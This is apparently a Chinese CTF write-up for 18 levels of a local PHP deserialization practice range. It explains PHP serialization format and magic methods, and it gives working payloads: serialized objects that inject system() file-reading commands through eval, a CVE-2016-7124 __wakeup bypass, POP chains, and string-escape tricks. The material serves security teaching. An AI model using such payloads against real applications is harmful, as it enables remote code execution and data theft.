本文仅用于本地靶场学习与授权测试,所有 payload 均在 phpserialize-labs 靶场环境中验证。请勿将文中的反序列化、命令执行、文件读取方法用于未授权目标。

关卡目录

练习一下ProbiusOfficial大佬的php反序列化靶场

0x00 环境说明与写作约定

  • 靶场类型:PHP 反序列化练习靶场。
  • 复现方式:浏览器 + HackBar/Repeater 发送 GET 或 POST 参数。

0x01 基础速查

PHP 常见序列化格式:

类型格式示例
字符串s:长度:"内容";s:5:"hello";
整数i:数值;i:1;
布尔b:1; / b:0;b:1;
空值N;N;
数组a:数量:{键;值;...}a:1:{s:1:"a";s:1:"b";}
对象O:类名长度:"类名":属性数量:{属性;值;...}O:4:"FLAG":0:{}

常见魔术方法触发点:

魔术方法触发时机
__construct()对象被 new 实例化时
__destruct()对象销毁或脚本结束时
__wakeup()unserialize() 成功还原对象后
__sleep()serialize() 序列化对象前
__toString()对象被当作字符串使用时
__invoke()对象被当作函数调用时
__get()读取不可访问或不存在属性时

LEVEL 1 类的实例化

💡 漏洞分析

  • 魔术方法__construct() 是 PHP 类的构造函数,在对象被实例化(使用 new 关键字创建对象)时自动调用。
  • 触发逻辑:题目直接将传入的 code 进行执行,只需通过 new FLAG() 实例化 FLAG 类,即可自动触发构造函数并获取 flag。

🔑 漏洞利用 (Payload)

code=$a = new FLAG();


LEVEL 2 对象中值的传递

💡 漏洞分析

  • 属性操作:题目实例化了 target 对象。若要输出 flag,需要通过调用该对象的 get_free_flag() 方法。
  • 值传递关系:在调用方法前,需要将存储 flag 值的全局变量 $flag_string 赋值给 target 对象的成员属性 free_flag

🔑 漏洞利用 (Payload)

code=$target->free_flag = $flag_string;


LEVEL 3 对象中值的权限

💡 漏洞分析

  • 访问控制修饰符
    • public(公共):类外部可以直接访问。
    • protected(受保护):外部不可直接访问,通常需要通过类内部定义的 Getter 方法访问。
    • private(私有):外部不可直接访问,且无法被子类继承,必须通过类内部定义的方法访问。
  • 利用思路:对于 sub_target 对象:
    1. 公共属性可以直接读取:$sub_target->public_flag
    2. 受保护属性通过方法读取:$sub_target->get_protected_flag()
    3. 私有属性通过方法读取:$sub_target->get_private_flag()
      拼接这三个值即可获取完整 flag。

🔑 漏洞利用 (Payload)

code=echo $sub_target->public_flag;
echo $sub_target->get_protected_flag();
echo $sub_target->get_private_flag();


LEVEL 4 序列化初体验

💡 漏洞分析

  • 漏洞机理:当类属性全部为私有属性,且外部没有直接输出它们的方法时,无法通过直接调用的方式读取。
  • 序列化导出serialize() 函数将对象序列化为包含其所有类型、名称和属性值的字符串。即便属性被定义为 private,其值在序列化后的文本中依然是可见且可被导出的。

🔑 漏洞利用 (Payload)

code=echo serialize($flag_is_here);


LEVEL 5 序列化的普通值规则

💡 漏洞分析

本关主要考查 PHP 序列化后的格式解析。PHP 序列化后的格式如下:

数据类型格式表示说明
Strings:长度:"内容";字符串
Integeri:数值;整数
Booleanb:1; / b:0;布尔值 (true / false)
NullN;空值
Arraya:键值对数量:{键;值;...}数组
ObjectO:类名长度:"类名":属性数量:{属性键;属性值;...}对象

根据各输入参数的判等条件,依次构造匹配的反序列化字符串:

  1. b 需为布尔值 true -> b:1;
  2. n 需为 NULL -> N;
  3. s 需为字符串 "IWANT" -> s:5:"IWANT";
  4. i 需为整数 1 -> i:1;
  5. o 需为 a_class 实例,其属性 a_value 值为 "FLAG" -> O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
  6. a 需为数组,且包含键值对 ['a' => 'Plz', 'b' => 'Give_M3'] -> a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}

🔑 漏洞利用 (Payload)

o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;


LEVEL 6 序列化的权限修饰规则

💡 漏洞分析

不同权限的类属性在进行序列化时,其属性名在底层表示上会添加特定的前缀:

  • public 属性:属性名保持不变。
  • protected 属性:前缀为 %00*%00 (即 \x00*\x00 包含 2 个空字节,长度计算需加上前缀字符数)。
  • private 属性:前缀为 %00类名%00 (即 \x00ClassName\x00 包含 2 个空字节,长度计算需加上类名和前缀字符数)。

题目提示了对应的结构,需要我们手工补全属性的值:

  • privateKEY 对象的属性 private_key 值为 "private_key"
  • protectedKEY 对象的属性 protected_key 值为 "protected_key"

由于属性名包含 \x00 (空字节),在 URL 传输时必须使用 %00 进行编码。

🔑 漏洞利用 (Payload)

private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}&protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}


LEVEL 7 实例化与反序列化

💡 漏洞分析

  • 漏洞点:页面接收参数 o 并对其执行 unserialize() 操作,随后调用 backdoor() 方法。
  • 后门分析FLAG 类中定义了 backdoor() 方法,内部执行 eval($this->flag_command)
  • 利用构造:我们将 FLAG 类的 flag_command 属性设置为命令执行语句。反序列化后,当程序执行 $o->backdoor() 时即可触发 RCE。
  • 环境差异:如果 flag 放在 PHP 文件中,直接 cat flag.php 可能因为浏览器把 <?php 当成标签而显示异常。可以使用 tac flag.php 反向读取,或者在浏览器中使用 Ctrl + U 查看源代码。
  • 长度提醒:下面 payload 中 s:23 对应的是 system('tac flag.php'); 的长度。如果换成 type flag.phpcat /flag 等命令,需要同步修改字符串长度。

🔑 漏洞利用 (Payload)

Linux/Docker 环境:

o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('tac flag.php');";}

Windows/phpStudy 环境:

o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.php');";}

如果是原题动态容器且 flag 位于根目录 /flag,可以使用:

o=O:4:"FLAG":1:{s:12:"flag_command";s:20:"system('cat /flag');";}


LEVEL 8 构造函数和析构函数以及GC机制

💡 源码分析

// 前置提示:注意顺序和次数
class RELFLAG {
    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
    }
}

function check(){
    global $flag;
    if($flag > 5){
        echo "HelloCTF{...}";
    }else{
        echo "Check Detected flag is ". $flag;
    }
}

if (isset($_POST['code'])) {
    eval($_POST['code']);
    check();
}

💡 漏洞分析

  1. 生命周期魔术方法
    • __construct():在新建对象时被调用。其内部包含了 $flag = 0; $flag++;,也就是说每一次 new 操作,都会将全局变量 $flag 重置为 1
    • __destruct():当对象被销毁(或脚本运行结束)时自动调用。每次销毁对象,$flag 增加 1
  2. GC (垃圾回收机制)
    • 垃圾回收会在变量不被引用时(例如在作用域外、被 unset 或被覆盖)立即回收它并释放内存,这会当场触发 __destruct
    • 题目要求的 check() 触发条件是 $flag > 5。由于 check()eval() 执行完成后立即调用,如果等到脚本自然结束再触发析构函数,就已经错过了检查时机。因此必须在 eval() 阶段主动销毁对象,让析构函数提前执行。
  3. 关键顺序
    • 连续 new RELFLAG() 时,每次构造函数都会把 $flag 重新置为 1
    • 所以不能指望“连续创建匿名对象”稳定累加,因为下一次构造会重置前一次的结果。
    • 稳定做法是:先创建多个有引用的对象,等最后一次构造函数执行完后,再统一 unset(),让析构函数连续累加。

🔑 漏洞利用 (Payload)

稳定方案:先实例化,再统一销毁

下面的执行过程是:

  1. 依次创建 $a$e,每次 new 都会把 $flag 重置为 1
  2. 最后一个对象 $e 创建完成后,$flag 停留在 1
  3. 依次 unset($a)unset($e),触发 5 次析构,$flag1 增加到 6
  4. eval() 结束后执行 check(),此时 $flag > 5,条件成立。
code=$a=new RELFLAG(); $b=new RELFLAG(); $c=new RELFLAG(); $d=new RELFLAG(); $e=new RELFLAG(); unset($a); unset($b); unset($c); unset($d); unset($e);

容易踩坑:直接连续 new 匿名对象

下面这种写法表面上会不断触发构造和析构,但由于每次 new RELFLAG() 都会先把 $flag 重置为 1,所以在不同 PHP 版本和临时变量回收时机下不够稳定,不建议作为最终 payload:

code=new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG();

如果使用序列化/反序列化嵌套触发临时对象销毁,也要以实际回显为准。写题解时建议把它作为补充思路,而不是主解:

code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));


LEVEL 9 构造函数的后门

💡 漏洞分析

  • 生命周期细节:反序列化过程(unserialize()不会触发类的构造函数(__construct),但对象生命周期结束时依然会触发析构函数(__destruct)。
  • 利用点__destruct() 会调用 eval($this->flag_command)。因此,我们可以像 Level 7 一样直接传入序列化数据来篡改该属性。
  • 环境差异
    • Windows/phpStudy 环境下使用 type 命令读取文件,例如 type flag.txt
    • Linux/Docker 环境下通常使用 cat 读取文件,例如 cat /flag
    • 两种写法的字符串长度不同,必须同步修改 s:<长度>

🔑 漏洞利用 (Payload)

Windows/phpStudy 环境:

o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.txt');";}

Linux/Docker 环境:

o=O:4:"FLAG":1:{s:12:"flag_command";s:20:"system('cat /flag');";}


LEVEL 10 __wakeup()

💡 漏洞分析

  • 魔术方法__wakeup() 会在反序列化(unserialize())成功执行之后被自动调用。
  • 题目分析:此题没有对反序列化后作任何限制,且 __wakeup() 会输出 flag。因此只需反序列化一个空的 FLAG 对象即可触发它。

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":0:{}


LEVEL 11 __wakeup() CVE-2016-7124

💡 漏洞分析

  • 核心漏洞 (CVE-2016-7124):在 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本中,若反序列化字符串中声明的属性个数大于实际定义的属性个数,则 __wakeup() 魔术方法会被绕过,而析构函数 __destruct() 仍会被调用。
  • 绕过原因:题目在 __wakeup() 中执行了 $this->flag = NULL; 清空了 flag。通过将声明的属性个数从 1 修改为 2(大于实际定义的属性个数),即可绕过 __wakeup() 限制,防止 flag 被覆盖,并在析构函数中顺利输出 flag。
  • 版本限制:这个技巧依赖旧版本 PHP 的历史漏洞。如果在新版本 PHP 中复现,__wakeup() 通常不会被这样绕过。因此发文时需要说明靶场运行的是兼容该漏洞的环境,否则读者照抄 payload 可能失败。

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}


LEVEL 12 __sleep()

💡 漏洞分析

  • 魔术方法__sleep() 会在对象被序列化(serialize())之前被自动调用,必须返回一个包含所有需要被序列化的属性名称的数组。如果属性不在返回的数组中,该属性就不会被包含在序列化的结果中。
  • 题目分析:根据代码的提示:
    FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
    我们可以依次通过 GET 参数向对应的属性传入非空的值,从而将它们拼接到一起。
  • 随机返回机制:题目中的 __sleep() 会从属性列表中随机选择属性,同时还会读取 chance 参数指定的属性。因此每次请求可能回显不同片段,需要多次请求并整理序列化结果。

🔑 漏洞利用过程

先指定 chance 参数,让页面尽量返回目标属性:

GET /Level12/index.php?chance=h
GET /Level12/index.php?chance=e
GET /Level12/index.php?chance=l
GET /Level12/index.php?chance=I
GET /Level12/index.php?chance=o
GET /Level12/index.php?chance=c
GET /Level12/index.php?chance=t
GET /Level12/index.php?chance=f
GET /Level12/index.php?chance=a
GET /Level12/index.php?chance=g

页面会输出类似下面的序列化结果:

O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:4:"_is_";s:17:"__sleep_function_";}

整理每个属性对应的值后,按照题目注释中的顺序拼接:

$h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g

这里要注意,属性名里存在重复的 fl,并且父类中的 private/protected 属性在序列化结果中会带有不可见字符前缀。实际做题时不需要手工重写完整对象,只要从页面返回的序列化文本中提取属性值并按顺序拼接即可。

🔑 最终 Flag

HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

LEVEL 13 __toString()

💡 漏洞分析

  • 魔术方法__toString() 会在对象被当作字符串对待(如使用 echoprint 或与字符串拼接)时自动触发。
  • 构造思路:页面接收 POST 参数 o 并执行其中的 PHP 片段。只要在 o 中将 $obj 进行 echo 输出,就会把对象当作字符串处理,从而触发 __toString() 并打印出 flag。

🔑 漏洞利用 (Payload)

o=echo $obj;


LEVEL 14 __invoke()

💡 漏洞分析

  • 魔术方法__invoke() 会在尝试以调用函数的方式(如 $obj())来调用一个对象时被自动触发。
  • 构造思路:页面接收 POST 参数 o 并执行其中的 PHP 片段。将 $obj 当作函数调用,并传入所需的动作名称 'get_flag',即可触发 __invoke() 并打印出 flag。

🔑 漏洞利用 (Payload)

o=$obj('get_flag');


LEVEL 15 POP 链前置

💡 漏洞分析

面向属性编程 (POP) 是在类的方法中利用对象属性的相互调用,组合出一条执行流。本题的执行路径如下:

触发

调用 $this->d->action()

调用 $this->cmd->show()

调用 $this->a->show()

调用 $this->b->show()

命令执行 eval($this->c)

unserialize

D::__wakeup()

destnation::action()

A::show()

B::show()

C::show()

RCE

CSDN 发布提示:如果 Mermaid 图无法正常渲染,建议将上面的链路导出为图片,或者直接保留下面的文字版调用链。

各层对象的嵌套关系:

  • D 类的 $d 属性指向 destnation 的实例。
  • destnation 类的 $cmd 属性指向 A 的实例。
  • A 类的 $a 属性指向 B 的实例。
  • B 类的 $b 属性指向 C 的实例。
  • C 类的 $c 属性为我们要执行的系统命令字符串。

🔑 漏洞利用 (Payload)

o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:24:"system('type flag.php');";}}}}}


LEVEL 16 POP 构造

💡 漏洞分析

该关卡需要利用魔术方法的级联触发,构造出一条完整的漏洞链:

触发

echo $this->name (将对象当字符串)

($this->b)() (将对象当函数执行)

include $this->a

unserialize

INIT::__wakeup()

B::__toString()

A::__invoke()

读取 flag.php

CSDN 发布提示:如果 Mermaid 图不显示,可将调用链改写成 INIT::__wakeup() -> B::__toString() -> A::__invoke() -> include flag.php

  • 第一步INIT__wakeup() 会执行 echo $this->name;,只要将 $name 设为 B 类的实例,就会触发 B__toString()
  • 第二步B__toString() 执行 ($this->b)();,将对象 $b 当作函数调用,若将 $b 设为 A 类的实例,则会触发 A__invoke()
  • 第三步A__invoke() 会包含 $this->a。若将 $a 设为 'flag.php',即可成功将 flag.php 包含并执行输出。

🔑 漏洞利用 (Payload)

o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}


LEVEL 17 字符串逃逸基础-无中生有

💡 漏洞分析

  • 类定义与属性动态生成:PHP 在反序列化一个对象时,如果序列化字符串中声明了该类定义中没有的属性,反序列化后,PHP 会动态为该对象添加这些原本不存在的成员属性。
  • 绕过原理A 本来是一个空类,但是我们在反序列化字符串中声明了属性 helloctfcmd,反序列化后该对象便动态拥有了该属性。

🔑 漏洞利用 (Payload)

o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}


LEVEL 18 字符串逃逸基础-尾部判定

💡 漏洞分析

  • 反序列化截断原则 (尾部判定):在进行反序列化时,PHP 引擎只关心序列化声明的信息。当根据声明的信息(包括对象类型、属性个数以及对应的键值长度与值)解析到闭合的大括号 } 时,反序列化解析会立即停止,大括号之后多余的任何字符都会被完全忽略。
  • 构造思路:题目在服务端接收 $target$change 拼接并序列化,由于我们可以控制 $change 的输入,我们可以人为地在 $change 中加入一个 },提前完成整个对象的闭合,并在后面写入我们希望覆盖或额外生成的属性结构,从而实现反序列化漏洞。

🔑 漏洞利用 (Payload)

?target=Demo&change=FLAG":1:{s:3:"key";s:8:"GET_FLAG";}


更多推荐